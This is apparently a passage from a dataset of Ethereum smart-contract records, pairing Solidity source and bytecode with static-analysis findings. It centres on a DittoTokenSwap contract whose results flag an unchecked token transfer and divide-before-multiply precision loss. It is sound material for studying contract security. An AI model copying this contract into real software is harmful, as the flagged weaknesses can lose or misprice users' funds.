// < u =="0.000000000000000001" : ] 000000547998796.510605000000000000 ; 000000566661310.057538000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003442E08360A813 >
// < DUBAI_Portfolio_I_metadata_line_32_____Takaful_Emarat_20250515 >
// < 20Q0BmypqM20e2D7tAvz0me07Dd088s5Lhrt45dvA5miuAkV7ZZZF4ER03Q6Yg6I >
// < u =="0.000000000000000001" : ] 000000566661310.057538000000000000 ; 000000583724083.698779000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000360A81337AB138 >
// < DUBAI_Portfolio_I_metadata_line_33_____Arabtec_Holding_20250515 >
// < 6mx3P53haYX3py1lC65ju35E6TuSEj96O2zsyx368CEU3j8tkRjR976WA0w752TI >
// < u =="0.000000000000000001" : ] 000000583724083.698779000000000000 ; 000000605437993.596515000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000037AB13839BD337 >
// < DUBAI_Portfolio_I_metadata_line_34_____Dubai_Development_Company_20250515 >
// < HOv8F7Kx6y6s42u5L2b3RlXf1bfDe8IW2Z36aH4C17kpvYr1o3C24em55214cE14 >
// < u =="0.000000000000000001" : ] 000000605437993.596515000000000000 ; 000000622248632.363165000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000039BD3373B579DF >
// < DUBAI_Portfolio_I_metadata_line_35_____Deyaar_Development_20250515 >
// < 6eY3I7FrI7496yR67IiI1c4S4JnXj0CE5KXVwb2DQUy7vbB3m9lw9E05nt3oI4K6 >
// < u =="0.000000000000000001" : ] 000000622248632.363165000000000000 ; 000000642389976.238936000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003B579DF3D43596 >
// < DUBAI_Portfolio_I_metadata_line_36_____Drake_Scull_International_20250515 >
// < ryl7cMN94yiZD5RONLr9cwcI4ptcugDl9q3LLwAkqL5Cv2NonDWc20e3xyRGuwRb >
// < u =="0.000000000000000001" : ] 000000642389976.238936000000000000 ; 000000663059955.883481000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003D435963F3BFCC >
// < DUBAI_Portfolio_I_metadata_line_37_____Emaar_Properties_20250515 >
// < 88IJsHJ6RyK04JocbkkS24CvpC8Nyi9h7ZMAmR76dDPEhQA7Gr8K25pei6p19YaD >
// < u =="0.000000000000000001" : ] 000000663059955.883481000000000000 ; 000000680245417.088088000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003F3BFCC40DF8DE >
// < DUBAI_Portfolio_I_metadata_line_38_____EMAAR_MALLS_GROUP_20250515 >
// < fISYneH515HPPH71N3i7g3XGP47758P8Tot55WA3MFEiwS1E71n84ZPfR3A3X954 >
// < u =="0.000000000000000001" : ] 000000680245417.088088000000000000 ; 000000695833300.726203000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000040DF8DE425C1E2 >
// < DUBAI_Portfolio_I_metadata_line_39_____Al_Mazaya_Holding_Company_20250515 >
// < MC478Yn9L57xXd7Rl7AWtji1z9PuaiFju9o6hpl513N5x9SoTAiG8ZEaU0whdHG5 >
// < u =="0.000000000000000001" : ] 000000695833300.726203000000000000 ; 000000711411867.403057000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000425C1E243D8743 >
// < DUBAI_Portfolio_I_metadata_line_40_____Union_Properties_20250515 >
// < qU6WF5UZ2tC2JO47760v32G7qX8sJjV3xB6TYZ00yn11VfJ317iK4MM1tRzOZR8f >
// < u =="0.000000000000000001" : ] 000000711411867.403057000000000000 ; 000000728002043.355369000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000043D8743456D7CC >
} | 0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820ee648fe31f43027ca754341b5181f90d95018a87b0799e7392a46bef40603d230029 | {"success": true, "error": null, "results": {}} | 9,857 |
0xC621C5dc44Eb12cacEBd5959E07D8FeC508f868E | // SPDX-License-Identifier: MIT
/*
MIT License
Copyright (c) 2020 DITTO Money
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity 0.6.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Ditto Swap Contract
*/
contract DittoTokenSwap is Ownable {
using SafeMath for uint256;
uint256 constant DITTO_DECIMALS = 9;
uint256 public dittoUSDRate = 1000; // DITTO price in USD (4 decimals, e.g. 981 = $0.981)
struct InputToken {
string ticker;
uint256 decimals;
uint256 usdRate; // Token price in USD (4 decimals, e.g. 981 = $0.981)
}
mapping(address => InputToken) public inputs;
address[] public inputAddresses;
struct Swap {
uint256 userCap;
uint256 totalCap;
uint256 bonusMultiplier;
uint256 totalClaimed;
}
mapping(uint256 => Swap) swaps;
// Mapping for recording claims for each swap
mapping(uint256 => mapping (address => uint256)) public claims;
uint256 private activeSwapIndex = 0;
event SwapDeposit(address depositor, address input, uint256 inputAmount, uint256 outputAmount);
function activeSwapInfo() internal view returns (uint256, uint256, uint256, uint256) {
return swapInfo(activeSwapIndex);
}
function isSwapActive() public view returns (bool) {
Swap storage activeSwap = swaps[activeSwapIndex];
return activeSwap.totalCap > 0 ? true : false;
}
modifier hasActiveSwap {
require(isSwapActive(), "Currently no ongoing swap.");
_;
}
function remainingTokensInActiveSwap() external view hasActiveSwap returns (uint256) {
Swap storage activeSwap = swaps[activeSwapIndex];
return activeSwap.totalCap.sub(activeSwap.totalClaimed);
}
function remainingTokensForUser(address _addr) external view hasActiveSwap returns (uint256) {
Swap storage activeSwap = swaps[activeSwapIndex];
return activeSwap.userCap.sub(claims[activeSwapIndex][msg.sender]);
}
/**
* @dev Return information about the swap at swapIndex.
* @param swapIndex Index of swap to be retrieve info for.
* @return Total swap cap.
* @return Per-user cap.
* @return Bonus multiplier.
* @return Number of tokens alreaduy claimed.
*/
function swapInfo(uint256 swapIndex) internal view returns (uint256, uint256, uint256, uint256) {
Swap storage activeSwap = swaps[swapIndex];
require(activeSwap.totalCap > 0, "No swap exists at this index.");
return(
activeSwap.totalCap,
activeSwap.userCap,
activeSwap.bonusMultiplier,
activeSwap.totalClaimed
);
}
/**
* @dev Calculate the amount of DITTO to return for *amount* input tokens
* @param amount Input amount.
* @param inputAddress Address of the input token.
* @return DITTO output amount.
*/
function getDittoOutputAmount(uint256 amount, address inputAddress) public view hasActiveSwap returns (uint256) {
uint256 usdRate = inputs[inputAddress].usdRate;
uint256 decimals = inputs[inputAddress].decimals;
uint256 multiplier = swaps[activeSwapIndex].bonusMultiplier;
require(usdRate != 0, "Input token not supported or rate not set");
uint256 outputAmount = amount.mul(usdRate).mul(10 ** DITTO_DECIMALS).div(dittoUSDRate).div(10 ** decimals);
return outputAmount.mul(multiplier).div(100);
}
/**
* @dev Allows the user to deposit some amount of input tokens. Records user/swap data and emits a SwapDeposit event.
* @param inputTokenAddress Address of the token to be swapped.
* @param amount Amount of input tokens to be swapped.
*/
function swap(address inputTokenAddress, uint256 amount) external hasActiveSwap {
require(amount > 0, "Input amount must be positive.");
Swap storage activeSwap = swaps[activeSwapIndex];
uint256 outputAmount = getDittoOutputAmount(amount, inputTokenAddress);
require(outputAmount > 0, "Amount too small.");
activeSwap.totalClaimed = activeSwap.totalClaimed.add(outputAmount);
require(activeSwap.totalClaimed <= activeSwap.totalCap, "Swap too large: Total cap exceeded.");
require(IERC20(inputTokenAddress).transferFrom(msg.sender, address(this), amount), "Transferring input tokens from user failed");
claims[activeSwapIndex][msg.sender] = claims[activeSwapIndex][msg.sender].add(outputAmount);
require(claims[activeSwapIndex][msg.sender] <= activeSwap.userCap, "Per-address cap exceeded for sender.");
emit SwapDeposit(msg.sender, inputTokenAddress, amount, outputAmount);
}
/**
* @dev Starts a new token swap.
* @param _userCap Maximum amount of claimable tokens per address.
* @param _totalCap Total amount of tokens available for the swap.
* @param _bonusMultiplier Multiplier percentage, e.g. 110 = 110% = 10% bonus. Set to 100 for no multiplier.
*/
function startSwap(uint256 _userCap, uint256 _totalCap, uint256 _bonusMultiplier) external onlyOwner {
require(!isSwapActive(), "Swap is already active.");
require(_userCap > 0, "User cap can't be zero.");
require(_totalCap > 0, "Swap max cap can't be zero.");
require(_bonusMultiplier >= 100, "Bonus multiplier must be set to >= 100%.");
swaps[activeSwapIndex] = Swap(
{
userCap: _userCap,
totalCap: _totalCap,
bonusMultiplier: _bonusMultiplier,
totalClaimed: 0
}
);
}
/**
* @dev Ends the active swap.
*/
function endSwap() external onlyOwner {
activeSwapIndex++;
}
/**
* @dev Add a new input token.
* @param _addr Address of the token to be added.
* @param _rate USD price of the token (4 decimals - e.g. $1 = 1000, $0.95 = 950)
*/
function addInputToken(address _addr, uint256 _rate) external onlyOwner {
require(inputs[_addr].usdRate == 0, "Input token already set.");
require(_addr != address(0), "Cannot add input token with zero address.");
require(_rate > 0, "Cannot add input token with zero rate.");
IERC20 token = IERC20(_addr);
uint8 decimals = token.decimals();
string memory symbol = token.symbol();
inputs[_addr] = InputToken(
{
ticker: symbol,
decimals: decimals,
usdRate: _rate
}
);
inputAddresses.push(_addr);
}
/**
* @dev Lets the owner set the DITTO price in USD.
* @param _rate Price of 1 DITTO in USD (4 decimals)
*/
function updateDittoRate(uint256 _rate) external onlyOwner {
require(_rate > 0, "Can't set zero rate");
dittoUSDRate = _rate;
}
/**
* @dev Lets the owner update the USD price of an input token.
* @param _addr Address of the input token to be updated.
* @param _rate Token price in USD (4 decimals)
*/
function updateRateForInputToken(address _addr, uint256 _rate) external onlyOwner {
require(inputs[_addr].usdRate > 0, "No input configured at address.");
inputs[_addr].usdRate = _rate;
}
function numberOfInputs() external view returns (uint256) {
return inputAddresses.length;
}
function removeAddressFromInputsList(address _addr) internal {
// Each address can exist in the list exactly once.
uint i = 0;
while(inputAddresses[i] != _addr) {
i++;
}
while(i < inputAddresses.length - 1) {
inputAddresses[i] = inputAddresses[i+1];
i++;
}
inputAddresses.pop();
}
/*
* @dev Lets the owner remove an input token.
* @param _addr Address of the token to be removed.
*/
function removeInputToken(address _addr) external onlyOwner {
require(inputs[_addr].usdRate > 0, "No input configured at address.");
delete inputs[_addr];
removeAddressFromInputsList(_addr);
}
/**
* @dev Lets the owner withdraw tokens deposited to the contract account.
* @param token Address of the token to be withdrawn.
* @param to Address to which the tokens are to be sent.
* @param amount Amount of tokens to be withdrawn.
*/
function withdrawTokens(address token, address to, uint256 amount) external onlyOwner {
IERC20(token).transfer(to, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063d004f0f71161007c578063d004f0f7146103c3578063e35bff96146103ef578063e3cb6ea3146103f7578063eefb202b146103ff578063f2fde38b14610407578063fb02be4f1461042d57610137565b80638da5cb5b1461033f5780638f32d59b1461034757806393e7075314610363578063a76cae3b1461036b578063ac71b23d1461039757610137565b80634439022d116100ff5780634439022d1461020f578063543360e91461022c5780635e35359e14610255578063715018a61461028b578063886026a91461029357610137565b8063061d532e1461013c57806309f8ab441461016a5780631da4c66b146101a35780632121edff146101e15780632e152221146101e9575b600080fd5b6101686004803603604081101561015257600080fd5b506001600160a01b038135169060200135610453565b005b6101876004803603602081101561018057600080fd5b50356104f2565b604080516001600160a01b039092168252519081900360200190f35b6101cf600480360360408110156101b957600080fd5b50803590602001356001600160a01b0316610519565b60408051918252519081900360200190f35b6101cf610536565b6101cf600480360360208110156101ff57600080fd5b50356001600160a01b031661053c565b6101686004803603602081101561022557600080fd5b50356105cb565b6101686004803603606081101561024257600080fd5b508035906020810135906040013561062c565b6101686004803603606081101561026b57600080fd5b506001600160a01b038135811691602081013590911690604001356107cd565b610168610866565b6102b9600480360360208110156102a957600080fd5b50356001600160a01b03166108bf565b6040518080602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b838110156103025781810151838201526020016102ea565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b610187610966565b61034f610975565b604080519115158252519081900360200190f35b6101cf610986565b6101686004803603604081101561038157600080fd5b506001600160a01b03813516906020013561098c565b6101cf600480360360408110156103ad57600080fd5b50803590602001356001600160a01b0316610ce9565b610168600480360360408110156103d957600080fd5b506001600160a01b038135169060200135610e06565b61034f611120565b61016861114a565b6101cf611166565b6101686004803603602081101561041d57600080fd5b50356001600160a01b03166111e2565b6101686004803603602081101561044357600080fd5b50356001600160a01b03166111ff565b61045b610975565b61046457600080fd5b6001600160a01b038216600090815260026020819052604090912001546104d2576040805162461bcd60e51b815260206004820152601f60248201527f4e6f20696e70757420636f6e6669677572656420617420616464726573732e00604482015290519081900360640190fd5b6001600160a01b0390911660009081526002602081905260409091200155565b600381815481106104ff57fe5b6000918252602090912001546001600160a01b0316905081565b600560209081526000928352604080842090915290825290205481565b60035490565b6000610546611120565b610594576040805162461bcd60e51b815260206004820152601a60248201527921bab93932b73a363c9037379037b733b7b4b7339039bbb0b81760311b604482015290519081900360640190fd5b6006546000908152600460209081526040808320600583528184203385529092529091205481546105c4916112ba565b9392505050565b6105d3610975565b6105dc57600080fd5b60008111610627576040805162461bcd60e51b815260206004820152601360248201527243616e277420736574207a65726f207261746560681b604482015290519081900360640190fd5b600155565b610634610975565b61063d57600080fd5b610645611120565b15610697576040805162461bcd60e51b815260206004820152601760248201527f5377617020697320616c7265616479206163746976652e000000000000000000604482015290519081900360640190fd5b600083116106ec576040805162461bcd60e51b815260206004820152601760248201527f55736572206361702063616e2774206265207a65726f2e000000000000000000604482015290519081900360640190fd5b60008211610741576040805162461bcd60e51b815260206004820152601b60248201527f53776170206d6178206361702063616e2774206265207a65726f2e0000000000604482015290519081900360640190fd5b60648110156107815760405162461bcd60e51b81526004018080602001828103825260288152602001806115c06028913960400191505060405180910390fd5b6040805160808101825293845260208085019384528482019283526000606086018181526006548252600490925291909120935184559151600184015551600283015551600390910155565b6107d5610975565b6107de57600080fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561083557600080fd5b505af1158015610849573d6000803e3d6000fd5b505050506040513d602081101561085f57600080fd5b5050505050565b61086e610975565b61087757600080fd5b600080546040516001600160a01b03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a2600080546001600160a01b0319169055565b600260208181526000928352604092839020805484516001821615610100026000190190911693909304601f81018390048302840183019094528383529283918301828280156109505780601f1061092557610100808354040283529160200191610950565b820191906000526020600020905b81548152906001019060200180831161093357829003601f168201915b5050505050908060010154908060020154905083565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b60015481565b610994610975565b61099d57600080fd5b6001600160a01b0382166000908152600260208190526040909120015415610a0c576040805162461bcd60e51b815260206004820152601860248201527f496e70757420746f6b656e20616c7265616479207365742e0000000000000000604482015290519081900360640190fd5b6001600160a01b038216610a515760405162461bcd60e51b815260040180806020018281038252602981526020018061154e6029913960400191505060405180910390fd5b60008111610a905760405162461bcd60e51b81526004018080602001828103825260268152602001806115776026913960400191505060405180910390fd5b60008290506000816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610ad057600080fd5b505afa158015610ae4573d6000803e3d6000fd5b505050506040513d6020811015610afa57600080fd5b5051604080516395d89b4160e01b815290519192506060916001600160a01b038516916395d89b41916004808301926000929190829003018186803b158015610b4257600080fd5b505afa158015610b56573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610b7f57600080fd5b8101908080516040519392919084640100000000821115610b9f57600080fd5b908301906020820185811115610bb457600080fd5b8251640100000000811182820188101715610bce57600080fd5b82525081516020918201929091019080838360005b83811015610bfb578181015183820152602001610be3565b50505050905090810190601f168015610c285780820380516001836020036101000a031916815260200191505b5060608101604090815285825260ff88166020808401919091528282018b90526001600160a01b038c1660009081526002825291909120825180519798509296909550610c7b945085935091019061147a565b5060208201516001828101919091556040909201516002909101556003805491820181556000527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319166001600160a01b03969096169590951790945550505050565b6000610cf3611120565b610d41576040805162461bcd60e51b815260206004820152601a60248201527921bab93932b73a363c9037379037b733b7b4b7339039bbb0b81760311b604482015290519081900360640190fd5b6001600160a01b0382166000908152600260208181526040808420808401546001909101546006548652600490935293209091015482610db25760405162461bcd60e51b81526004018080602001828103825260298152602001806115e86029913960400191505060405180910390fd5b6000610de883600a0a610de2600154610de26009600a0a610ddc8a8e6112cf90919063ffffffff16565b906112cf565b906112f6565b9050610df96064610de283856112cf565b9450505050505b92915050565b610e0e611120565b610e5c576040805162461bcd60e51b815260206004820152601a60248201527921bab93932b73a363c9037379037b733b7b4b7339039bbb0b81760311b604482015290519081900360640190fd5b60008111610eb1576040805162461bcd60e51b815260206004820152601e60248201527f496e70757420616d6f756e74206d75737420626520706f7369746976652e0000604482015290519081900360640190fd5b600654600090815260046020526040812090610ecd8385610ce9565b905060008111610f18576040805162461bcd60e51b815260206004820152601160248201527020b6b7bab73a103a37b79039b6b0b6361760791b604482015290519081900360640190fd5b6003820154610f279082611318565b6003830181905560018301541015610f705760405162461bcd60e51b815260040180806020018281038252602381526020018061159d6023913960400191505060405180910390fd5b604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b038616916323b872dd9160648083019260209291908290030181600087803b158015610fc557600080fd5b505af1158015610fd9573d6000803e3d6000fd5b505050506040513d6020811015610fef57600080fd5b505161102c5760405162461bcd60e51b815260040180806020018281038252602a815260200180611635602a913960400191505060405180910390fd5b60065460009081526005602090815260408083203384529091529020546110539082611318565b600680546000908152600560208181526040808420338086529083528185209690965587549454845291815281832094835293909352919091205411156110cb5760405162461bcd60e51b81526004018080602001828103825260248152602001806116116024913960400191505060405180910390fd5b604080513381526001600160a01b03861660208201528082018590526060810183905290517fae903249a9c3b2247fc671b4a4c604509dc594d26cb0fcc249bdf6fc1e4cdc5a9181900360800190a150505050565b60065460009081526004602052604081206001810154611141576000611144565b60015b91505090565b611152610975565b61115b57600080fd5b600680546001019055565b6000611170611120565b6111be576040805162461bcd60e51b815260206004820152601a60248201527921bab93932b73a363c9037379037b733b7b4b7339039bbb0b81760311b604482015290519081900360640190fd5b600654600090815260046020526040902060038101546001820154611144916112ba565b6111ea610975565b6111f357600080fd5b6111fc8161132a565b50565b611207610975565b61121057600080fd5b6001600160a01b0381166000908152600260208190526040909120015461127e576040805162461bcd60e51b815260206004820152601f60248201527f4e6f20696e70757420636f6e6669677572656420617420616464726573732e00604482015290519081900360640190fd5b6001600160a01b0381166000908152600260205260408120906112a182826114f8565b506000600182018190556002909101556111fc81611398565b6000828211156112c957600080fd5b50900390565b6000826112de57506000610e00565b828202828482816112eb57fe5b04146105c457600080fd5b600080821161130457600080fd5b600082848161130f57fe5b04949350505050565b6000828201838110156105c457600080fd5b6001600160a01b03811661133d57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60005b816001600160a01b0316600382815481106113b257fe5b6000918252602090912001546001600160a01b0316146113d45760010161139b565b6003546000190181101561144957600381600101815481106113f257fe5b600091825260209091200154600380546001600160a01b03909216918390811061141857fe5b600091825260209091200180546001600160a01b0319166001600160a01b03929092169190911790556001016113d4565b600380548061145457fe5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114bb57805160ff19168380011785556114e8565b828001600101855582156114e8579182015b828111156114e85782518255916020019190600101906114cd565b506114f4929150611538565b5090565b50805460018160011615610100020316600290046000825580601f1061151e57506111fc565b601f0160209004906000526020600020908101906111fc91905b5b808211156114f4576000815560010161153956fe43616e6e6f742061646420696e70757420746f6b656e2077697468207a65726f20616464726573732e43616e6e6f742061646420696e70757420746f6b656e2077697468207a65726f20726174652e5377617020746f6f206c617267653a20546f74616c206361702065786365656465642e426f6e7573206d756c7469706c696572206d7573742062652073657420746f203e3d20313030252e496e70757420746f6b656e206e6f7420737570706f72746564206f722072617465206e6f74207365745065722d616464726573732063617020657863656564656420666f722073656e6465722e5472616e7366657272696e6720696e70757420746f6b656e732066726f6d2075736572206661696c6564a2646970667358221220582c82e8413f999e4466dd9eb21ca73a326ccd16c1605b4d817648f2f1632f8f64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,858 |
0x2abeb6e19346d7995797c7aca5e6ec8ebb4e0ba4 | /**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// Telegram: https://t.me/ShibaShark_ERC
// Twitter: https://twitter.com/ShiBaShark_ERC
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
